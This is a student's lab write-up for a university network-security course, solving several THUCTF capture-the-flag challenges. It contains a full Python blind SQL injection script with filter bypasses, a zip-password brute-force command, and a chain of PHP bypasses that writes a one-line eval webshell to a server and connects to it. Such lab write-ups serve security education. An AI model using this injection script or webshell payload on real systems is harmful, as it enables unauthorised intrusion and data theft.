网络安全工程与实践 实验6 write-up
🔓

网络安全工程与实践 实验6 write-up

时间
Jan 9, 2023 03:38 AM
Tags
notes
Brief Info
基本都是 THUCTF 2021 & 2022 的题…
何哲 2019011313 计95

Challenge A

首先随便试试,发现 username 为 admin,并且 username 和 password 的检测似乎是分开的,可以通过 username 来进行 sql 注入。
notion image
根据提示,试图通过 sql 注入获取整个数据库的数据。在 google 上检索到盲注获取整个数据库数据的方法,首先获取数据库的名字;table 的数量、名字;col 的名字;发现有一个叫做 fffll11l144aaag 的表其中有一列是 ff1lllagggg ,于是从中获取到 flag。
其中要注意有几个需要绕过的点,首先是空格可以通过注释绕过;substr() 的逗号通过 from i for 1 绕过;limit() 通过 group_concat() 绕过。
全部代码如下:
import requests

url = "http://nc.thuctf.redbud.info:30405/login.php"
ascii_range = range(33, 127)

def send_request(payload):
    response = requests.post(url=url, data=payload)
    return response.text

def reshape_username(username: str):
    while " " in username:
        username = username.replace(" ", "/**/")
    return username

def database_length():
    raw_username = "admin' and {}=(select length(database()))#"
    raw_username = reshape_username(raw_username)
    for length in range(30):
        username = raw_username.format(length)
        password = 0
        payload = {"username": username, "password": password}
        response = send_request(payload)
        if "password error!" in response:
            print(f"success! length = {length}")
            break

def database_name():
    raw_username = "admin' and {}=ascii(substr(database() from {} for 1))#"
    raw_username = reshape_username(raw_username)
    length_range = range(1, 4)
    for j in length_range:
        for i in ascii_range:
            username = raw_username.format(i, j)
            password = 0
            payload = {"username": username, "password": password}
            response = send_request(payload)
            # print(response)
            if "password error!" in response:
                print(f"success! {chr(i)}")
                break

def table_num():
    raw_username = "admin' and {}=(select count(table_name) from information_schema.tables where table_schema=database())#"
    raw_username = reshape_username(raw_username)
    for tb_sum in range(1,10):
        username = raw_username.format(tb_sum)
        password = 0
        payload = {"username": username, "password": password}
        response = send_request(payload)
        if "password error!" in response:
            print(f"success! table_num = {tb_sum}")
            break

def table_name():
    raw_username = "admin' and {}=(select ascii(substr(group_concat(table_name) from {} for 1)) from information_schema.tables where table_schema=database())#"
    raw_username = reshape_username(raw_username)
    for tb_len in range(1, 50):
        for i in ascii_range:
            username = raw_username.format(i, tb_len)
            password = 0
            payload = {"username": username, "password": password}
            response = send_request(payload)
            # print(response)
            if "password error!" in response:
                print(f"success! {tb_len} {chr(i)}")
                break

def col_name():
    raw_username = "admin' and {}=(select ascii(substr(group_concat(column_name) from {} for 1)) from information_schema.columns where table_name='fffll11l144aaag')#"
    raw_username = reshape_username(raw_username)
    for col_len in range(1, 50):
        for i in ascii_range:
            username = raw_username.format(i, col_len)
            password = 0
            payload = {"username": username, "password": password}
            response = send_request(payload)
            # print(response)
            if "password error!" in response:
                print(f"success! {col_len} {chr(i)}")
                break

def flag():
    raw_username = "admin' and {}=(select ascii(substr(group_concat(ff1lllagggg) from {} for 1)) from fffll11l144aaag)#"
    raw_username = reshape_username(raw_username)
    flag = ""
    for flag_len in range(1, 100):
        for i in ascii_range:
            username = raw_username.format(i, flag_len)
            password = 0
            payload = {"username": username, "password": password}
            response = send_request(payload)
            # print(response)
            if "password error!" in response:
                # print(f"success! {flag_len} {chr(i)}")
                flag += chr(i)
                print(flag)
                break

if __name__ == "__main__":
    # database_length()
    # database_name()
    # table_name()
    # col_name()
    flag()
最终效果如下:(一开始只设了 50 位,发现不够又补了一些)
notion image
参考资料

Challenge B

首先根据提示,发现 pcap 内有大量 DNS 包,且目的域名前缀非常的奇怪,于是想到把这些前缀连起来,看能不能得到某些信息。代码如下:
from scapy.all import DNS, DNSQR, rdpcap
import base64
import cv2
import numpy as np

def decode_pcap():
    all_prefix_set = set()
    all_prefix = ""
    pcap = rdpcap("./Challenge_B.pcap")
    for p in pcap:
        if DNS in p:
            if p.qr == 0: # query
                domain = p[DNSQR].qname.decode("utf-8")
                if domain.split(".")[1] == "wchhlbt":
                    prefix = domain.split(".")[0]
                    if prefix not in  all_prefix_set:
                        all_prefix_set.add(prefix)
                        all_prefix += prefix
                        
    with open("./test", "wb") as f:
        f.write(base64.b64decode(all_prefix))
连起来之后发现像是 base64 加密后的字符串,但是 base64 解密不成功,后来发现是存在重传的情况,需要去重。去重后解密为一个文件,file 之后发现是 zip 文件。
notion image
于是修改后缀并打开,发现里面有一个打不开的 png 。通过 pngcheck 发现是 CRC 校验码存在问题,修改正确后可以打开,打开是一个没有任何信息的猫猫头。继续使用 pngcheck 发现图片最后有冗余信息。
notion image
notion image
发现冗余信息是一堆 20 和 09 构成,一共 10000 位,根据提示猜测可能可以排列成二维码。于是尝试按 100 * 100 的顺序写入图片,代码如下:
def main():
    with open("./additional.txt", "r") as f:
        data = f.readline().strip().split(" ")
    width = 100
    height = 100
    img = np.zeros([width, height, 3], dtype=np.uint8)
    for j in range(height):
        for i in range(width):
            if data[j * width + i] == "20":
                img[i, j, :] = [255, 255, 255]
            else:
                img[i, j, :] = [0, 0, 0]

    cv2.imshow('image', img)
    cv2.imwrite("qrcode.jpg", img)
    cv2.waitKey(0)
    cv2.destroyAllWindows()
之后得到一个二维码:
notion image
扫描后得到一串字符:m/wchhlbt/THUCTF2021 。之后怀疑图片中还有别的信息,通过修改高度得到完整图片:
notion image
拼接成网站后是一个 github 仓库 https://github.com/wchhlbt/THUCTF2021,clone 下来发现 secret 已经不存在了,但是可以通过 git 历史发现修改。将所有修改拼凑起来即可得到 flag THUCTF{OMG_y0u_f1nd_my_Secr@t!}
notion image

Challenge C

首先是一张很大的水母图,疑似存在隐藏信息。通过 zsteg 发现在 png 图片之后存在一个 jpg 文件
notion image
之后用 binwalk 提取出该 jpg 末尾的一个 zip 文件。发现是带密码的。猜测密码不会特别复杂,于是使用 fcrackzip 爆破。fcrackzip -b -c "1" -l 1-10 -u 4CAC.zip
得到密码是 654321 ,解压后还是一张一样的图…并没有更多信息。
后来看提示说可以直接通过眼睛看,发现原始图中左下角直接包含了 flag …怎么说呢…有点“你被骗了”的感觉,不过反套路也挺有趣的。
notion image

Challenge D

这个题我在 2022 THUCTF 做过…
首先是 sha256 碰撞代码:
from hashlib import sha256
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long, getStrongPrime as getPrime
from collections import defaultdict
import signal
import random
import string
from os import urandom

ALL_POSSIBLE_CHAR = string.ascii_letters + string.digits + '!#$%&*-?'

def main():
    sha_input = input("sha_input_left: ")
    sha_output = input("sha_output: ")
    for i_0 in range(len(ALL_POSSIBLE_CHAR)):
        for i_1 in range(len(ALL_POSSIBLE_CHAR)):
            for i_2 in range(len(ALL_POSSIBLE_CHAR)):
                for i_3 in range(len(ALL_POSSIBLE_CHAR)):
                    test_output = sha256((ALL_POSSIBLE_CHAR[i_0] + ALL_POSSIBLE_CHAR[i_1] + ALL_POSSIBLE_CHAR[i_2] + ALL_POSSIBLE_CHAR[i_3] + sha_input).encode()).hexdigest()
                    if (test_output == sha_output):
                        print(ALL_POSSIBLE_CHAR[i_0] + ALL_POSSIBLE_CHAR[i_1] + ALL_POSSIBLE_CHAR[i_2] + ALL_POSSIBLE_CHAR[i_3])
                        return

if __name__ == "__main__":
    main()
之后通过读代码发现只需要从 admin 处买到 flag 并且 view 即可,发现可以自己设置商品价格并且可以设置为负数,于是只需要用户 A 设置一个商品价格为很小的负数,用户 B 买了之后即可获得超过 flag 价值的财富,买下 flag 即可。这个题我是手动操作的,忘了截图。

Challenge E

首先在源代码中发现需要修改的 ip 地址。
notion image
之后通过 chrome 插件 X-Forwarded-For Header 修改即可。
notion image

Challenge F

题目源码:
<?php
error_reporting(0);
highlight_file(__FILE__);

$var1 = $_GET['var1'] ?: '';
$var2 = $_GET['var2'] ?: '';
$var3 = $_GET['var3'] ?: '';
$var4 = $_GET['var4'] ?: '';
$var5 = $_GET['var5'] ?: '';
$var6 = $_GET['var6'] ?: '';
$var7 = $_GET['var7'] ?: '';
$var8 = $_GET['var8'] ?: '';
$var9 = $_GET['var9'] ?: '';

if ($var1 != $var2 && sha1($var1) === sha1($var2)) {
    if (!is_numeric($var3) && in_array($var3, array(1))) {
        if (file_get_contents($var4) === "Welcome to THUCTF2021!") {
            if (isset($_GET['thuctf_is.fun'])) {
                if ($var5 != 2333 && intval($var5, 0) === 2333) {
                    $t = is_numeric($var6) and is_numeric($var7) !== "THUCTF2021";
                    if ($t && $var7 === "THUCTF2021") {
                        if (!stristr($var8, "..") && !preg_match("/<\?|eval|system|assert|call|preg|create|sort|exec|php/i", $var9)) {
                            file_put_contents("uploads/$var8", $var9);
                        } else {
                            die("level 7 fail!");
                        }
                    } else {
                        die("level 6 fail!");
                    }
                } else {
                    die("level 5 fail!");
                }
            } else {
                die("level 4 fail!");
            }
        } else {
            die("level 3 fail!");
        }
    } else {
        die("level 2 fail!");
    }
} else {
    die("level 1 fail!");
}
level 1 采用数组绕过 sha1 ,利用 sha1(array) = NULL
level 2 利用 in_array 比较时未设置强类型检查,用字符串与数字进行比较,赋值 $var3'1;' 即可。
level 3 利用伪协议 data://text/plain;base64 的形式将参数传入 file_get_contents ,赋值 $var4 = 'data://text/plain;base64,V2VsY29tZSB0byBUSFVDVEYyMDIxIQ==' 即可。
level 4 利用 php7 的 trick ,在传入字符串包含左中括号时,在将第一个左中括号替换成下划线之后的非法字符都会忽略,故只需提供一个名为 thuctf[is.fun 的参数即可。
level 5 利用 intval(x, 0) 会自动转换进制,传入一个 16 进制的数即可。$var5 = 0x91d
level 6 利用 php 的一个 trick,当两个 is_numericand 连接的时候,后面一个永远会被绕过,所以 $var6 = 1 $var7 = 'THUCTF2021' 即可。
level 7 利用 file_put_contents 函数处理数组时会将每一个元素以字符串形式连接这一性质,通过数组绕过 preg_match 。只需赋值 $var8 = 3.php (3.php 是随机命名),$var9[] = "<?php @eval($_POST['attack']);" 即可往该页面写入一句话木马。之后访问 http://nc.thuctf.redbud.info:30232/uploads/3.php 会发现已经存在了这个页面。之后通过中国蚁剑连接,截图如下:
notion image
notion image
连接完成之后发现无法直接访问 flag 或者 readflag 。一些常用命令也无效。利用中国蚁剑的插件,通过 php7 的漏洞绕过 disable_functions ,之后可正常运行。运行 readflag 得到 flag 。
notion image
以下是写入木马过程的截图。
notion image

Loading Comments...